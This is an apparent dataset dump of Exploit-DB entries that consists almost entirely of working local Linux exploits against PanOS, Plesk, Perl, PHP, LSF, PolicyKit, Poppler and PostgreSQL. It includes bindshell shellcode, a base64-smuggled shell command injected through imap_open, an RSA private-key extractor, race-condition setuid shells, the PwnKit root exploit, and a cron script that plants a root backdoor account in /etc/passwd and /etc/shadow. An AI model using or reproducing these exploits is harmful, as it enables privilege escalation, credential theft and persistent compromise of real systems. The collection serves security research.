deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40788
Description: Palo Alto Networks PanOS - 'root_trace' Local Privilege Escalation
Type: local
Platform: linux
Date: 2016-11-18
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=912

The setuid root executable /usr/local/bin/root_trace essentially just does setuid(0) then system("/usr/local/bin/masterd"), which is a python script:

$ ls -l /usr/local/bin/root_trace 
-rwsr-xr-x 1 root root 12376 Oct 17  2014 /usr/local/bin/root_trace

As the environment is not scrubbed, you can just do something like this:

$ cat /tmp/sysd.py
import os
os.system("id")
os._exit(0);

$ PYTHONPATH=/tmp root_trace
uid=0(root) gid=502(admin) groups=501(noradgrp),502(admin)

This was fixed by PAN:

http://securityadvisories.paloaltonetworks.com/Home/Detail/67
Exploit-DB #18785
Description: Parallels PLESK 9.x - Insecure Permissions
Type: local
Platform: linux
Date: 2012-04-26
Author: Nicolas Krassas

Exploit:
# Exploit Title: PLESK 9.x insecure directory permission ( admin password
revealed )
# Date: 25/04/2012
# Author: Nicolas Krassas , twitter.com/dinosn
# Software Link: www.*parallels*.com/*plesk*/
# Version: 9.x
# Tested on: ubuntu / centos

During backup procedures, PLESK panel is keeping a detailed log of the
process under /opt/psa/PMM/sessions in Debian/Ubuntu installations and
/usr/local/psa/PMM/sessions in Centos under the directory with the current
date.  A detailed log file is created with the name psadump.log, with
readable permissions for everyone.  The file will reveal the admin password
used from the backup process to dump the mysql databases from the sites
being backed up.

It's possible to locate data also under the sessions directory from
incomplete/crashed backup sessions where the log files are not safely
removed from the system.

e.g.:

$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ cd /opt/psa/PMM/sessions
$ ls -Fal
total 32
drwxr-xr-x  8 root root 4096 2012-04-25 21:42 ./
drwxr-xr-x 10 root root 4096 2009-12-03 22:07 ../
drwxr-xr-x  3 root root 4096 2012-04-25 22:12 2012-04-25-211250.973/
$ cat 2012-04-25-211250.973/psadump.log | grep admin
18:52:26 INFO  Executing bundle producer: '/usr/bin/mysqldump -h
'localhost' -u 'admin' -p' PASSOWORD ' -P '3306' --quick --quote-names
--add-drop-table --default-character-set=utf8 --set-charset 'DB'' in

Old but I didn't see it listed, another way is to constantly monitor the
system for the mysqldump process using a simple bash script to get the
credentials as the process is running in the scheduled plesk backups.
Exploit-DB #31959
Description: Perl - 'rmtree()' Function Local Insecure Permissions
Type: local
Platform: linux
Date: 2008-06-23
Author: Frans Pop

Exploit:
source: https://www.securityfocus.com/bid/29902/info

Computers running Perl are prone to a local vulnerability that occurs when handling symbolic links.

Attackers can leverage this issue to change the permissions of arbitrary files.

Perl 5.10.0 is vulnerable; other versions may also be affected.

% touch foo
% ln -s foo bar
% ls -l foo bar
lrwxrwxrwx 1 example example 3 2008-06-21 09:06 bar -> foo
-rw-r--r-- 1 example example 0 2008-06-21 09:06 foo
% perl -e 'use File::Path rmtree; rmtree bar'
% ls -l foo bar
ls: cannot access bar: No such file or directory
-rwxrwxrwx 1 example example 0 2008-06-21 09:06 foo
Exploit-DB #3499
Description: PHP 4.4.6/5.2.1 - 'array_user_key_compare()' ZVAL dtor Local Overflow
Type: local
Platform: linux
Date: 2007-03-16
Author: Stefan Esser

Exploit:
<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //        PHP 4/5 - array_user_key_compare() ZVAL dtor exploit        //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // You can put in any shellcode you want. Just make sure that the
  // shellcode string starts with enough NOP space

  // NOPSPACE
  $shellcode = str_repeat(chr(0x90), 710);
  // A bindshell on port 4444 generated by Metsploit
  $shellcode .= "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
      "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
      "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
      "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
      "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
      "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
      "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";

  $arr = array(str_repeat("A", 39) => 1, "B" => 1);

  function array_compare(&$key1, &$key2)
  {
    $GLOBALS['a'] = &$key2;
    unset($key2);
    return 1;
  }

  uksort($arr, "array_compare");
  $x=array($shellcode => 1);

  $a[8*4+0] = $a[6*4+0];
  $a[8*4+1] = chr(ord($a[6*4+1])+2); // <--- This only works for Little Endian
  $a[8*4+2] = $a[6*4+2];
  $a[8*4+3] = $a[6*4+3];

  unset($x);

?>

# milw0rm.com [2007-03-16]
Exploit-DB #3440
Description: PHP 5.2.0 / PHP with PECL ZIP 1.8.3 - 'zip://' URL Wrapper Buffer Overflow
Type: local
Platform: linux
Date: 2007-03-09
Author: Stefan Esser

Exploit:
<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //            PHP zip:// URL Wrapper Stack Buffer Overflow            //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // Offset of a POP EBP, RET inside the PHP binary
  $offset = 0x080d7da3;

  // linux x86 bindshell on port 4444 from Metasploit
  $shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
      "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
      "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
      "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
      "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
      "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
      "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";

  // Align the shellcode on 4 bytes      
  while (strlen($shellcode) % 4 != 0) $shellcode .= "X";

  // Convert Offset into String and calculate size
  $str = pack("L", $offset);
  $len = 4096 + 32 - strlen($shellcode) - 400;
  
  // Construct the filename
  $fname = "zip://A".str_repeat("A", 400)."$shellcode".str_repeat($str, $len / 4)."#EXPLOIT";


  
  // Trigger the EXPLOIT could also be a remote URL include
  fopen($fname,"a+");

?>

# milw0rm.com [2007-03-09]
Exploit-DB #45865
Description: PHP 5.2.3 imap (Debian Based) - 'imap_open' disable_functions Bypass
Type: local
Platform: linux
Date: 2018-11-14
Author: Anton Lopanitsyn

Exploit:
<?php
# https://antichat.com/threads/463395/#post-4254681
# echo '[PII_REDACTED]'>/tmp/test0001

$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";

imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
Exploit-DB #3427
Description: PHP < 4.4.5/5.2.1 - 'shmop' SSL RSA Private-Key Disclosure
Type: local
Platform: linux
Date: 2007-03-07
Author: Stefan Esser

Exploit:
<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //        PHP ext/shmop SSL RSA Private-Key Disclosure Exploit        //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  if (!extension_loaded("gd") || !extension_loaded("shmop")) {
    die("This demonstration exploit only works with ext/gd and ext/shmop loaded.");
  }

  function init()
  {
    global $rid;
    
    $rid = imagecreate(10,10);
    imagecolorallocate($rid, 0, 0, 0);
    imagecolorallocate($rid, 0, 0, 0);
  }
  
  function peek($addr, $size)
  {
    global $rid;
    imagecolordeallocate($rid, 0);
    imagecolordeallocate($rid, 1);
    imagecolorallocate($rid, $addr, 0, 0);
    imagecolorallocate($rid, $size, 0, 0);
    return shmop_read((int)$rid, 0, $size);
  }

  init();
  
  $offset = 0x08048000 + 1024 * 64;
  
  while (1) {
  
    $data = peek($offset, 1024 + 16);
    
    $position = strpos($data, "\x30\x82");
    if ($position !== false && $position < 1024) {
      // Potential Key
      if (substr($data, $position+4, 4) == "\x02\x01\x00\x02") {
        $length = ord($data[$position+2])*256+ord($data[$position+3])+4;
        $keydata = peek($offset + $position, $length);
        // Assume an exponent of 0x10001 to really find a RSA key and not a DSA one
        if (strpos($keydata, "\x01\x00\x01") > 0)
            break;
      }
    }
    $offset += 1024;
  }

  header("Content-type: application/octet-stream");
  header("Content-Disposition: attachment; filename=\"server.der\"");  
  echo $keydata;
?>

# milw0rm.com [2007-03-07]
Exploit-DB #3571
Description: PHP < 4.4.5/5.2.1 - '_SESSION unset()' Local Overflow
Type: local
Platform: linux
Date: 2007-03-25
Author: Stefan Esser

Exploit:
<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //                 PHP _SESSION unset() Vulnerability                 //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  $PHP_MAJOR_VERSION = PHP_VERSION;
  $PHP_MAJOR_VERSION = $PHP_MAJOR_VERSION[0];

  $shellcode = str_repeat("\x90", 256).
      "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
      "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
      "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
      "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
      "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
      "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
      "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65".
      ($PHP_MAJOR_VERSION==4?"\x18\xb0\x53":"\x18\xb0\x83");

  $zend_execute_internal = 0x08345b08;

  $Hashtable = pack("LLLLLLLLLCCC", 2, 1, 0, 0, 0, $zend_execute_internal, 0, $zend_execute_internal, 0x66666666, 0, 0, 0);

  eval('
  session_start();
  unset($HTTP_SESSION_VARS);
  unset($_SESSION);
  $x = "'.$Hashtable.'";
  session_register($shellcode);');
?>

# milw0rm.com [2007-03-25]
Exploit-DB #33145
Description: PHP Fuzzer Framework - Default Location Insecure Temporary File Creation
Type: local
Platform: linux
Date: 2009-08-03
Author: Melissa Elliott

Exploit:
// source: https://www.securityfocus.com/bid/35924/info

PHP Fuzzer Framework creates temporary files in an insecure manner.

An attacker with local access could potentially exploit this issue to overwrite and execute arbitrary code with the privileges of the victim user. Successfully exploiting this issue may compromise the affected application and possibly the computer.

#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/inotify.h>
#define FILEA "/tmp/PFF/fuzz0.php"
#define FILEB "/tmp/fuzzlol.php"
#define MODEZ (S_IRWXU | S_IRWXG | S_IRWXO)


int main(int argc, char *argv[])
{
    int f,n,w;
    char *s = "<? system(\"cp /bin/bash /tmp/sh; chmod 4777 /tmp/sh\"); ?>";
    struct inotify_event e;
    n = inotify_init();
    printf("-=*************-\n");
    if ((f = open(FILEB, O_CREAT | O_RDWR| O_EXCL, MODEZ)) > 0){
        write(f, s, strlen(s));
        close(f);
    }
    printf("[+] created abritrary code: %s\n",  FILEB);
    w = inotify_add_watch(n, "/tmp/PFF", IN_CREATE);
    read(n, &e, sizeof(e));
    rename(FILEB, FILEA);
    printf("[+] %s => %s\n", FILEB, FILEA);
        printf("[+] executing arbitrary code\n");
    sleep(2);
    printf("[+] racism complete \n");
    execl("/tmp/sh", "/tmp/sh", 0);

}
Exploit-DB #231
Description: Pine (Local Message Grabber) - Local Message Read
Type: local
Platform: linux
Date: 2000-12-15
Author: mat

Exploit:
#!/bin/sh
# Grab local pine messages
# Usage: ./mon_pine.sh <pid of pine process>
# victim pine must use following settings
#
#  mat@hacksware.com
#  http://hacksware.com
#
# [x]  enable-alternate-editor-cmd
# [x]  enable-alternate-editor-implicitly
# editor                   = /usr/bin/vi
#

PID=$1
PICO_FILE=`printf "/tmp/pico.%.6d" $PID`
TRASHCAN=/tmp/.trashcan.`date|sed "s/ //g"`
echo PICO_FILE is $PICO_FILE

#if $PICO_FILE and $TRASHCAN exists, remove them
if test -f $PICO_FILE
then
 rm -f $PICO_FILE
fi
if test -f $TRASHCAN
then
 rm -f $TRASHCAN
fi

ln -s $TRASHCAN $PICO_FILE
while :
do
 if test -f $TRASHCAN
 then
  break
 fi
done

echo Victim is Editing Pine Message
rm -f $PICO_FILE
echo We replace temporary file
touch $PICO_FILE
chmod 777 $PICO_FILE
echo "Get the message from "$PICO_FILE
echo "^C to break tailer"
tail -f $PICO_FILE


# milw0rm.com [2000-12-15]
Exploit-DB #23743
Description: Platform Load Sharing Facility 4/5/6 - 'EAuth' Local Privilege Escalation
Type: local
Platform: linux
Date: 2003-02-23
Author: Tomasz Grabowski

Exploit:
source: https://www.securityfocus.com/bid/9724/info

Load Sharing Facility eauth component has been reported prone to privilege escalation vulnerability. The eauth component is responsible for controlling authentication procedures within Load Sharing Facility. An issue has been reported where an attacker may send commands to Load Sharing Facility as any user. The issue presents itself because eauth uses an environment variable to determine the UID of the user invoking the binary.

$cat /etc/passwd|grep cadence
cadence:x:500:500:Tomasz Grabowski:/home/cadence:/bin/bash
$ export LSF_EAUTH_UID=500
$ eauth -c hostname
,',0/%+-$%$&&,/)

Now, she needs to send packets. She can do it, for the sake of simplicity,
using Perl and NetCat software:

(
# first packet
perl -e 'print "\x04\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00";
print "\x00\x00\x00\x00";
'
sleep 1;

#let's call it a header, packet length
perl -e 'print "\x00\x04\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x40";
#below we provide UID, GID and length of user name
print "\x00\x00\x00\x00\x00\x00\x03\xee\x00\x00\x03\xee\x00\x00\x00\x07";
#below is the user name, end indicator, and probably auth data field length
print "\x63\x61\x64\x65\x6e\x63\x65\x00\x00\x00\x00\x03\x00\x00\x00\x10";
#again authentication length and auth data itself
print "\x00\x00\x00\x10\x2a\x30\x26\x24\x21\x25\x2e\x23\x2c\x23\x27\x2d";
#rest of auth data, end indicator, question code (x09 - bkill) and process number
print "\x2f\x28\x2b\x25\x00\x00\x00\x02\x00\x00\x00\x09\x00\x00\x00\x77";
print "\x00\x00\x00\x00";
'
#send it to the target daemon
) | nc 192.168.10.106 6881
Exploit-DB #50689
Description: PolicyKit-1 0.105-31 - Privilege Escalation
Type: local
Platform: linux
Date: 2022-01-27
Author: Lance Biggerstaff

Exploit:
# Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation
# Exploit Author: Lance Biggerstaff
# Original Author: ryaagard (https://github.com/ryaagard)
# Date: 27-01-2022
# Github Repo: https://github.com/ryaagard/CVE-2021-4034
# References: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

# Description: The exploit consists of three files `Makefile`, `evil-so.c` & `exploit.c`

##### Makefile #####

all:
	gcc -shared -o evil.so -fPIC evil-so.c
	gcc exploit.c -o exploit

clean:
	rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so

#################

##### evil-so.c #####

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}

void gconv_init() {
    setuid(0);
    setgid(0);
    setgroups(0);

    execve("/bin/sh", NULL, NULL);
}

#################

##### exploit.c #####

#include <stdio.h>
#include <stdlib.h>

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
    char *envp[] = {
        DIR,
        "PATH=GCONV_PATH=.",
        "SHELL=ryaagard",
        "CHARSET=ryaagard",
        NULL
    };
    char *argv[] = { NULL };

    system("mkdir GCONV_PATH=.");
    system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
    system("mkdir " DIR);
    system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
    system("cp " EVILSO ".so " DIR);

    execve(BIN, argv, envp);

    return 0;
}

#################
Exploit-DB #38817
Description: Poppler 0.14.3 - '/utils/pdfseparate.cc' Local Format String
Type: local
Platform: linux
Date: 2013-10-26
Author: Daniel Kahn Gillmor

Exploit:
source: https://www.securityfocus.com/bid/63374/info

Poppler is prone to a local format-string vulnerability because it fails to sanitize user-supplied input.

An attacker may exploit this issue to execute arbitrary code in the context of the vulnerable application. Failed exploit attempts will likely result in a denial-of-service condition.

Versions prior to Poppler 0.24.3 are vulnerable. 

./pdfseparate -f 1 -l 1 aPdfFile.pdf "%x%x%x%x%x%x%n"
Exploit-DB #7855
Description: PostgreSQL 8.2/8.3/8.4 - UDF for Command Execution
Type: local
Platform: linux
Date: 2009-01-25
Author: Bernardo Damele

Exploit:
PostgreSQL UDF for command execution

[1] http://bernardodamele.blogspot.com/2009/01/command-execution-with-postgresql-udf.html
[2] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz

mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7855.tar.gz (2009-lib_postgresqludf_sys_0.0.1.tar.gz)

# milw0rm.com [2009-01-25]
Exploit-DB #45184
Description: PostgreSQL 9.4-0.5.3 - Privilege Escalation
Type: local
Platform: linux
Date: 2018-08-13
Author: Johannes Segitz

Exploit:
# Exploit Title: PostgreSQL 9.4-0.5.3 - Privilege Escalation
# Date: 2017-10-11
# Exploit Author: Johannes Segitz
# Vendor Homepage: https://bugzilla.suse.com/show_bug.cgi?id=1062722
# Software Link: -
# Version: Before postgresql-init-9.4-0.5.3.1
# Tested on: SUSE Linux Enterprise 11 SP4
# CVE : CVE-2017-14798

#!/bin/sh

# don't use spaces or other funny characters in here
CRON_DIR='/etc/cron.hourly'
CRON_FILE="$CRON_DIR/totally_not_a_lpe"

declare -a CLEANUP_ELEMENTS=('base' 'global' 'pg_clog' 'pg_hba.conf' 'pg_ident.conf' 'pg_multixact' 'pg_subtrans' 'pg_tblspc' 'pg_twophase' 'PG_VERSION' 'pg_xlog' 'postgresql.conf')

if [ "$(whoami)" != "postgres" ]; then
  echo "Must be run as user postgres"
  exit -1
fi
cd

echo setting up exploit
mv data data2
ln -s $CRON_DIR data

echo waiting for DB restart
while [ ! -w $CRON_DIR ]; do
  sleep 1 
done

echo able to write $CRON_DIR
echo '#!/bin/sh' > $CRON_FILE
echo 'echo '"'"'pg_root:x:0:0:,,,:/home/pg_root:/bin/bash'"'"' >> /etc/passwd' >> $CRON_FILE
echo 'echo '"'"'pg_root:$2y$05$6F6hHGfvZ42Mq1EF8V.e8uguGumaZsZ4P9qfjiuHFT/k8B2CZrJaO:16339:0:99999:7:::'"'"' >> /etc/shadow' >> $CRON_FILE
echo "rm $CRON_FILE" >> $CRON_FILE
echo "chown root.root ${CRON_DIR}" >> $CRON_FILE
chmod +x $CRON_FILE

if [ -e $CRON_FILE ]; then
  echo wrote $CRON_FILE
else
  echo failed to write $CRON_FILE, exiting
  exit 1
fi

echo cleaning up
for i in "${CLEANUP_ELEMENTS[@]}"; do
   rm -rf "$CRON_DIR/$i"
done
rm data
mv data2 data 

echo now wait, depending on CRON_DIR setting you should be able to log into this system with pg_root:foobar soonish. Enjoy!